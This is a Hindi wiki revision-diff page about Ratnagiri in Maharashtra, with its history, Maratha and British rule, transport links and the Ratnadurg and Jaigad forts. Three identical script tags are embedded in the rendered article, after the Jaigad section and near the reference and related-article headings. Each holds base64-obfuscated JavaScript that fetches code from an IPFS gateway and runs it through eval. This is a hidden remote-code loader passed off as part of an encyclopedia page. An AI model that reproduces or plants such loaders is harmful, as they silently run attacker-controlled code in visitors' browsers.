"रत्नागिरी" के अवतरणों में अंतर
अश्वनी भाटिया (चर्चा | योगदान) |
फ़ौज़िया ख़ान (चर्चा | योगदान) |
||
पंक्ति 1: | पंक्ति 1: | ||
− | *रत्नगिरि, रत्नदुर्ग या भगवती दुर्ग के रूप में जाना जाने वाला एक दुर्ग है। | + | [[चित्र:Ratnagiri.jpg|thumb|250px|रत्नगिरि का एक दृश्य <br />A View Of Ratnagiri]] |
+ | बाल गंगाधर तिलक की यह जन्मस्थली [[भारत]] के [[महाराष्ट्र]] राज्य के दक्षिण-पश्िचम भाग में [[अरब सागर]] के तट पर स्थित है। रत्नगिरि कोंकण क्षेत्र का ही एक भाग है। रत्नगिरि में बहुत लंबा समुद्र तट हैं। रत्नगिरि में कई बंदरगाह भी हैं। रत्नगिरि क्षेत्र पश्िचम में सहाद्री पहाड़ी से घिरा हुआ है।<ref name="यात्रा सलाह">{{cite web |url=http://yatrasalah.com/touristPlaces.aspx?id=72 |title=रत्नागिरी |accessmonthday=[[14 मार्च]] |accessyear=[[2011]] |last= |first=मुकेश |authorlink= |format= |publisher=यात्रा सलाह |language=हिन्दी }}</ref> | ||
+ | ==इतिहास== | ||
+ | *रत्नगिरि का [[मराठा]] इतिहास में महत्वपूर्ण स्थान है। रत्नगिरि 1731 ई. में सतारा के राजा के अधिकार में आ गया और यह 1818 ई. तक सतारा के क़ब्ज़े में रहा। 1818 ई. में रत्नगिरि पर अंग्रेजों ने क़ब्ज़ा कर लिया। | ||
+ | *रत्नगिरि में पर एक क़िला भी है जिसे [[बीजापुर]] के राजपरिवार ने बनवाया था। बाद में 1670 ई. में इस क़िले की [[शिवाजी]] ने मरम्मत करवाई थी। | ||
+ | *रत्नगिरि का संबंध [[महाभारत]] काल से भी है। कहा जाता है अपने वनवास का तेरहवां वर्ष पांडवों ने रत्नगिरि से सटे हुए क्षेत्र में बिताया था। रत्नगिरि में ही [[म्यांमार]] के अंतिम राजा थिबू तथा वीर सावरकर को कैद कर रखा गया था।<ref name="यात्रा सलाह" /> | ||
+ | ==यातायात और परिवहन== | ||
+ | ;<u>रेल मार्ग</u> | ||
+ | रत्नगिरि में रेलवे जंक्शन है। रत्नगिरि आने की सबसे बढिया रेल कोंकण कन्या एक्सप्रेस है। | ||
+ | ;<u>सड़क मार्ग</u> | ||
+ | रत्नगिरि के लिए मुंबई से सीधी बस सेवा है। मुंबई सेंट्रल, बोरीबली तथा परेल से रत्नगिरि के लिए बसें चलती है।<ref name="यात्रा सलाह" /> | ||
+ | ==पर्यटन== | ||
+ | ====<u>रत्नगिरि दुर्ग</u>==== | ||
+ | *रत्नगिरि, रत्नदुर्ग या भगवती दुर्ग के रूप में जाना जाने वाला एक दुर्ग है। रत्नगिरि [[मुंबई]] से 220 किलोमिटर दक्षिण में स्थित है। | ||
*सोलहवीं सदी में [[बीजापुर]] के सुल्तानों ने इसका निर्माण करवाया था। [[शिवाजी]] ने 1670 ई. में इसका पुननिर्माण कराकर [[मराठा]] नौसेना का प्रमुख केन्द्र बनाया। | *सोलहवीं सदी में [[बीजापुर]] के सुल्तानों ने इसका निर्माण करवाया था। [[शिवाजी]] ने 1670 ई. में इसका पुननिर्माण कराकर [[मराठा]] नौसेना का प्रमुख केन्द्र बनाया। | ||
*इस दुर्ग में तीन सुदृढ़ चोटियाँ हैं। दक्षिण की ओर स्थित सबसे बड़ी चोटी '''पारकोट''' के नाम से जानी जाती है। | *इस दुर्ग में तीन सुदृढ़ चोटियाँ हैं। दक्षिण की ओर स्थित सबसे बड़ी चोटी '''पारकोट''' के नाम से जानी जाती है। | ||
पंक्ति 5: | पंक्ति 18: | ||
*तीसरी चोटी मंदिर के पीछे ढलान पर है, जहाँ से कहा जाता है कि दंडित बंदियों को नीचे धकेलकर मार दिया जाता था। चोटी के पश्चिम में कुछ पुरानी गुफाएँ भी हैं। | *तीसरी चोटी मंदिर के पीछे ढलान पर है, जहाँ से कहा जाता है कि दंडित बंदियों को नीचे धकेलकर मार दिया जाता था। चोटी के पश्चिम में कुछ पुरानी गुफाएँ भी हैं। | ||
*[[बर्मा]] (म्यांमार) के अंतिम राजा थिबॉ को [[अंग्रेज|अंग्रेजों]] ने [[1885]] ई. में देश निकाला देकर यहीं भेजा था तथा उसे विशेष रूप से नज़रबंद करके रखा गया था। | *[[बर्मा]] (म्यांमार) के अंतिम राजा थिबॉ को [[अंग्रेज|अंग्रेजों]] ने [[1885]] ई. में देश निकाला देकर यहीं भेजा था तथा उसे विशेष रूप से नज़रबंद करके रखा गया था। | ||
− | + | ====<u>जयगढ़ क़िला</u>==== | |
+ | जयगढ़ क़िले की स्थापना 17 वीं शताब्दी में हुई थी। जयगढ़ क़िला एक खड़ी पहाड़ी पर बना हुआ है। जयगढ़ क़िले के पास से ही संगमेश्वर नदी बहती है। जयगढ़ क़िले से आसपास का बहुत सुंदर दूश्य दिखता है।<ref name="यात्रा सलाह" /> | ||
{{प्रचार}} | {{प्रचार}} | ||
पंक्ति 17: | पंक्ति 31: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
+ | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | |||
{{महाराष्ट्र के पर्यटन स्थल}} | {{महाराष्ट्र के पर्यटन स्थल}} | ||
− | + | {{महाराष्ट्र के नगर}} | |
− | |||
[[Category:शिवाजी]] | [[Category:शिवाजी]] | ||
[[Category:महाराष्ट्र]] | [[Category:महाराष्ट्र]] | ||
+ | [[Category:महाराष्ट्र के नगर]] | ||
+ | [[Category:भारत के नगर]] | ||
[[Category:महाराष्ट्र के ऐतिहासिक स्थान]] | [[Category:महाराष्ट्र के ऐतिहासिक स्थान]] | ||
[[Category:ऐतिहासिक स्थान कोश]] | [[Category:ऐतिहासिक स्थान कोश]] | ||
+ | __INDEX__ | ||
+ | __NOTOC__ |
05:56, 14 मार्च 2011 का अवतरण
बाल गंगाधर तिलक की यह जन्मस्थली भारत के महाराष्ट्र राज्य के दक्षिण-पश्िचम भाग में अरब सागर के तट पर स्थित है। रत्नगिरि कोंकण क्षेत्र का ही एक भाग है। रत्नगिरि में बहुत लंबा समुद्र तट हैं। रत्नगिरि में कई बंदरगाह भी हैं। रत्नगिरि क्षेत्र पश्िचम में सहाद्री पहाड़ी से घिरा हुआ है।[1]
इतिहास
- रत्नगिरि का मराठा इतिहास में महत्वपूर्ण स्थान है। रत्नगिरि 1731 ई. में सतारा के राजा के अधिकार में आ गया और यह 1818 ई. तक सतारा के क़ब्ज़े में रहा। 1818 ई. में रत्नगिरि पर अंग्रेजों ने क़ब्ज़ा कर लिया।
- रत्नगिरि में पर एक क़िला भी है जिसे बीजापुर के राजपरिवार ने बनवाया था। बाद में 1670 ई. में इस क़िले की शिवाजी ने मरम्मत करवाई थी।
- रत्नगिरि का संबंध महाभारत काल से भी है। कहा जाता है अपने वनवास का तेरहवां वर्ष पांडवों ने रत्नगिरि से सटे हुए क्षेत्र में बिताया था। रत्नगिरि में ही म्यांमार के अंतिम राजा थिबू तथा वीर सावरकर को कैद कर रखा गया था।[1]
यातायात और परिवहन
- रेल मार्ग
रत्नगिरि में रेलवे जंक्शन है। रत्नगिरि आने की सबसे बढिया रेल कोंकण कन्या एक्सप्रेस है।
- सड़क मार्ग
रत्नगिरि के लिए मुंबई से सीधी बस सेवा है। मुंबई सेंट्रल, बोरीबली तथा परेल से रत्नगिरि के लिए बसें चलती है।[1]
पर्यटन
रत्नगिरि दुर्ग
- रत्नगिरि, रत्नदुर्ग या भगवती दुर्ग के रूप में जाना जाने वाला एक दुर्ग है। रत्नगिरि मुंबई से 220 किलोमिटर दक्षिण में स्थित है।
- सोलहवीं सदी में बीजापुर के सुल्तानों ने इसका निर्माण करवाया था। शिवाजी ने 1670 ई. में इसका पुननिर्माण कराकर मराठा नौसेना का प्रमुख केन्द्र बनाया।
- इस दुर्ग में तीन सुदृढ़ चोटियाँ हैं। दक्षिण की ओर स्थित सबसे बड़ी चोटी पारकोट के नाम से जानी जाती है।
- मध्य चोटी पर बाले नामक क़िला है, जिसमें प्रसिद्ध भगवती मंदिर आज भी सुरक्षित है।
- तीसरी चोटी मंदिर के पीछे ढलान पर है, जहाँ से कहा जाता है कि दंडित बंदियों को नीचे धकेलकर मार दिया जाता था। चोटी के पश्चिम में कुछ पुरानी गुफाएँ भी हैं।
- बर्मा (म्यांमार) के अंतिम राजा थिबॉ को अंग्रेजों ने 1885 ई. में देश निकाला देकर यहीं भेजा था तथा उसे विशेष रूप से नज़रबंद करके रखा गया था।
जयगढ़ क़िला
जयगढ़ क़िले की स्थापना 17 वीं शताब्दी में हुई थी। जयगढ़ क़िला एक खड़ी पहाड़ी पर बना हुआ है। जयगढ़ क़िले के पास से ही संगमेश्वर नदी बहती है। जयगढ़ क़िले से आसपास का बहुत सुंदर दूश्य दिखता है।[1]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>